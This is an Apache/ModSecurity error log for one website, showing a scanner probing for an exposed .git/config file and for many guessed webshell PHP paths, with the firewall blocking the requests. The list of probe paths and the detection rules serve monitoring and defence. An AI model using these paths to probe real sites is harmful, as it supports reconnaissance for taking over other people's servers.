[Fri Apr 24 20:25:10.641462 2026] [:error] [pid 17721:tid 17791] [client 195.178.110.241:47566] [client 195.178.110.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aethJuFXXkLeyDnfk_82YwAAAAo"]
[Fri Apr 24 20:25:12.746654 2026] [:error] [pid 22114:tid 22129] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/n3yUmQ6Q9xwQ8ocdefault.php
[Fri Apr 24 20:25:12.989978 2026] [:error] [pid 22114:tid 22122] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Fri Apr 24 20:25:13.236135 2026] [:error] [pid 22114:tid 22125] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/ctex1.php
[Fri Apr 24 20:25:13.478485 2026] [:error] [pid 22114:tid 22133] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/lb.php
[Fri Apr 24 20:25:13.721587 2026] [:error] [pid 22114:tid 22119] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Fri Apr 24 20:25:13.977681 2026] [:error] [pid 22114:tid 22120] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/mh.php
[Fri Apr 24 20:25:14.221548 2026] [:error] [pid 22114:tid 22130] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/fone1.php
[Fri Apr 24 20:25:14.476501 2026] [:error] [pid 22114:tid 22126] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/auth.php
[Fri Apr 24 20:25:14.721544 2026] [:error] [pid 22114:tid 22134] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/ortasekerli1.php
[Fri Apr 24 20:25:15.984938 2026] [:error] [pid 22114:tid 22134] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Fri Apr 24 20:25:16.231209 2026] [:error] [pid 22114:tid 22123] [client 68.221.135.180:15441] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-png.php
[Fri Apr 24 20:25:16.482594 2026] [:error] [pid 22114:tid 22137] [client 68.221.135.180:15441] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aethLIAuWGz3WlMQjofn1AAAARQ"]
[Fri Apr 24 20:25:18.367788 2026] [:error] [pid 17808:tid 17820] [client 68.221.135.180:13977] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aethLuarbOEFI8qshvIwQgAAAEo"]
[Fri Apr 24 20:25:23.397903 2026] [:error] [pid 22114:tid 22134] [client 68.221.135.180:17182] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aethM4AuWGz3WlMQjofn2gAAARE"]
[Fri Apr 24 20:25:24.738532 2026] [:error] [pid 17808:tid 17813] [client 68.221.135.180:9418] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aethNOarbOEFI8qshvIwSQAAAEM"]
[Fri Apr 24 20:25:28.289346 2026] [:error] [pid 14531:tid 14551] [client 68.221.135.180:21056] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aethOHfLU2gw-6KR-GbDKAAAAVI"]
[Fri Apr 24 20:25:30.180040 2026] [:error] [pid 17721:tid 17782] [client 68.221.135.180:35772] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aethOuFXXkLeyDnfk_82bQAAAAE"]
[Fri Apr 24 20:25:32.637608 2026] [:error] [pid 17808:tid 17817] [client 68.221.135.180:9863] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aethPOarbOEFI8qshvIwVgAAAEc"]
[Fri Apr 24 20:25:35.248542 2026] [:error] [pid 14531:tid 14548] [client 68.221.135.180:18431] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aethP3fLU2gw-6KR-GbDPgAAAU8"]
[Fri Apr 24 20:25:36.793609 2026] [:error] [pid 17721:tid 17789] [client 68.221.135.180:18412] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aethQOFXXkLeyDnfk_82dQAAAAg"]
[Fri Apr 24 20:25:38.923259 2026] [:error] [pid 17719:tid 17743] [client 68.221.135.180:15450] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aethQsTZ9gzEyL1BkPqmowAAAJA"]
[Fri Apr 24 20:25:41.014815 2026] [:error] [pid 17808:tid 17832] [client 68.221.135.180:35735] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aethRearbOEFI8qshvIwXwAAAFY"]
[Fri Apr 24 20:25:44.611876 2026] [:error] [pid 17720:tid 17757] [client 68.221.135.180:35746] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aethSOhlUs6BS3Ng7_WcpwAAAMM"]
[Fri Apr 24 20:25:49.078867 2026] [:error] [pid 14531:tid 14547] [client 68.221.135.180:11794] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aethTXfLU2gw-6KR-GbDVgAAAU4"]
[Fri Apr 24 20:25:50.763731 2026] [:error] [pid 17720:tid 17771] [client 68.221.135.180:27245] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aethTuhlUs6BS3Ng7_WcuQAAANE"]
[Fri Apr 24 20:25:53.290540 2026] [:error] [pid 17808:tid 17811] [client 68.221.135.180:6036] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aethUearbOEFI8qshvIwYwAAAEE"]
[Fri Apr 24 20:25:54.955323 2026] [:error] [pid 14531:tid 14534] [client 68.221.135.180:5244] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aethUnfLU2gw-6KR-GbDZAAAAUE"]
[Fri Apr 24 20:25:56.647698 2026] [:error] [pid 17720:tid 17756] [client 68.221.135.180:14030] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aethVOhlUs6BS3Ng7_WcyAAAAMI"]
[Fri Apr 24 20:26:00.346091 2026] [:error] [pid 17719:tid 17750] [client 68.221.135.180:10556] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aethWMTZ9gzEyL1BkPqmqwAAAJc"]
[Fri Apr 24 20:26:06.853144 2026] [:error] [pid 17808:tid 17818] [client 68.221.135.180:12253] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aethXuarbOEFI8qshvIwcQAAAEg"]
[Fri Apr 24 20:26:09.231284 2026] [:error] [pid 17808:tid 17822] [client 68.221.135.180:14234] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abrand.php"] [unique_id "aethYearbOEFI8qshvIwewAAAEw"]
[Fri Apr 24 20:26:10.423101 2026] [:error] [pid 17721:tid 17800] [client 68.221.135.180:24677] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aethYuFXXkLeyDnfk_82pgAAABM"]
[Fri Apr 24 20:26:11.799367 2026] [:error] [pid 4177:tid 4199] [client 68.221.135.180:61505] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aethY32asKnvdrSe0x4A8QAAAY4"]
[Fri Apr 24 20:26:12.845486 2026] [:error] [pid 4177:tid 4187] [client 68.221.135.180:24700] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "aethZH2asKnvdrSe0x4A-AAAAYI"]
[Fri Apr 24 20:26:16.268857 2026] [:error] [pid 17808:tid 17832] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Fri Apr 24 20:26:16.512788 2026] [:error] [pid 17808:tid 17815] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Fri Apr 24 20:26:16.756776 2026] [:error] [pid 17808:tid 17818] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/amwxl.php
[Fri Apr 24 20:26:17.002331 2026] [:error] [pid 17808:tid 17830] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/wmore1.php
[Fri Apr 24 20:26:17.251367 2026] [:error] [pid 17808:tid 17821] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/userfuns.php
[Fri Apr 24 20:26:17.503059 2026] [:error] [pid 17808:tid 17816] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/menu.php
[Fri Apr 24 20:26:17.745603 2026] [:error] [pid 17808:tid 17828] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Fri Apr 24 20:26:17.995270 2026] [:error] [pid 17808:tid 17811] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/saorix1.php
[Fri Apr 24 20:26:18.237962 2026] [:error] [pid 17808:tid 17817] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/byypas.php
[Fri Apr 24 20:26:18.481021 2026] [:error] [pid 17808:tid 17814] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Fri Apr 24 20:26:18.724470 2026] [:error] [pid 17808:tid 17827] [client 68.221.135.180:17687] File does not exist: /usr/local/apache/htdocs/suspended-page/gptsh.php
[Fri Apr 24 20:26:18.969085 2026] [:error] [pid 17808:tid 17810] [client 68.221.135.180:17687] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aethauarbOEFI8qshvIwlAAAAEA"]
[Fri Apr 24 20:26:24.754390 2026] [:error] [pid 4177:tid 4193] [client 68.221.135.180:34662] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aethcH2asKnvdrSe0x4BFQAAAYg"]
[Fri Apr 24 20:26:26.060816 2026] [:error] [pid 17720:tid 17768] [client 68.221.135.180:34680] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aethcuhlUs6BS3Ng7_Wc5wAAAM4"]
[Fri Apr 24 20:26:31.137414 2026] [:error] [pid 17721:tid 17789] [client 68.221.135.180:61660] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aethd-FXXkLeyDnfk_825AAAAAg"]
[Fri Apr 24 20:26:33.000831 2026] [:error] [pid 17720:tid 17771] [client 68.221.135.180:13401] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aetheOhlUs6BS3Ng7_Wc8QAAANE"]
[Fri Apr 24 20:26:39.477916 2026] [:error] [pid 17720:tid 17767] [client 68.221.135.180:38796] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aethf-hlUs6BS3Ng7_Wc_QAAAM0"]
[Fri Apr 24 20:26:42.489781 2026] [:error] [pid 4177:tid 4187] [client 68.221.135.180:7669] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "aethgn2asKnvdrSe0x4BQQAAAYI"]
[Fri Apr 24 20:26:49.529051 2026] [:error] [pid 17719:tid 17731] [client 68.221.135.180:17520] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aethicTZ9gzEyL1BkPqmwQAAAIQ"]
[Fri Apr 24 20:26:51.409246 2026] [:error] [pid 22114:tid 22128] [client 68.221.135.180:28539] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aethi4AuWGz3WlMQjofoBAAAAQs"]
[Fri Apr 24 20:26:59.194167 2026] [:error] [pid 17720:tid 17773] [client 68.221.135.180:22284] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aethk-hlUs6BS3Ng7_WdGAAAANM"]
[Fri Apr 24 20:27:03.301950 2026] [:error] [pid 14531:tid 14554] [client 68.221.135.180:7971] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aethl3fLU2gw-6KR-GbDkQAAAVU"]
[Fri Apr 24 20:27:06.082222 2026] [:error] [pid 17808:tid 17810] [client 68.221.135.180:52112] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aethmuarbOEFI8qshvIwrQAAAEA"]
[Fri Apr 24 20:27:11.328029 2026] [:error] [pid 4177:tid 4205] [client 68.221.135.180:12614] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aethn32asKnvdrSe0x4BfAAAAZQ"]
[Fri Apr 24 20:27:13.111429 2026] [:error] [pid 4177:tid 4188] [client 68.221.135.180:9737] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aethoX2asKnvdrSe0x4BfgAAAYM"]
[Fri Apr 24 20:27:15.084919 2026] [:error] [pid 4177:tid 4186] [client 68.221.135.180:28523] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aetho32asKnvdrSe0x4BggAAAYE"]
[Fri Apr 24 20:27:21.194116 2026] [:error] [pid 4177:tid 4198] [client 68.221.135.180:54351] File does not exist: /usr/local/apache/htdocs/suspended-page/koiy.php
[Fri Apr 24 20:27:21.438734 2026] [:error] [pid 4177:tid 4200] [client 68.221.135.180:54351] File does not exist: /usr/local/apache/htdocs/suspended-page/albin.php
[Fri Apr 24 20:27:21.689927 2026] [:error] [pid 4177:tid 4203] [client 68.221.135.180:54351] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-the.php
[Fri Apr 24 20:27:22.181806 2026] [:error] [pid 4177:tid 4207] [client 68.221.135.180:54351] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Fri Apr 24 20:27:22.453590 2026] [:error] [pid 4177:tid 4205] [client 68.221.135.180:54351] File does not exist: /usr/local/apache/htdocs/suspended-page/wp9.php
[Fri Apr 24 20:27:22.702350 2026] [:error] [pid 4177:tid 4189] [client 68.221.135.180:54351] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Fri Apr 24 20:27:22.954839 2026] [:error] [pid 4177:tid 4192] [client 68.221.135.180:54351] File does not exist: /usr/local/apache/htdocs/suspended-page/wp5.php
[Fri Apr 24 20:27:23.208819 2026] [:error] [pid 4177:tid 4196] [client 68.221.135.180:54351] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Fri Apr 24 20:27:23.453147 2026] [:error] [pid 4177:tid 4190] [client 68.221.135.180:54351] File does not exist: /usr/local/apache/htdocs/suspended-page/file61.php
[Fri Apr 24 20:27:23.697584 2026] [:error] [pid 4177:tid 4197] [client 68.221.135.180:54351] File does not exist: /usr/local/apache/htdocs/suspended-page/Cap.php
[Fri Apr 24 20:27:23.938406 2026] [:error] [pid 4177:tid 4208] [client 68.221.135.180:54351] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aethq32asKnvdrSe0x4BnQAAAZc"]
[Fri Apr 24 20:27:25.586691 2026] [:error] [pid 17720:tid 17770] [client 68.221.135.180:5985] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aethrehlUs6BS3Ng7_WdLgAAANA"]
[Fri Apr 24 20:27:28.563264 2026] [:error] [pid 17720:tid 17761] [client 68.221.135.180:7982] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aethsOhlUs6BS3Ng7_WdMwAAAMc"]
[Fri Apr 24 20:27:33.252454 2026] [:error] [pid 4177:tid 4198] [client 68.221.135.180:9760] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aethtX2asKnvdrSe0x4BrAAAAY0"]
[Fri Apr 24 20:27:34.343870 2026] [:error] [pid 17719:tid 17737] [client 68.221.135.180:28516] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aethtsTZ9gzEyL1BkPqmzwAAAIo"]
[Fri Apr 24 20:27:39.031667 2026] [:error] [pid 4177:tid 4201] [client 68.221.135.180:22274] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aethu32asKnvdrSe0x4BtQAAAZA"]
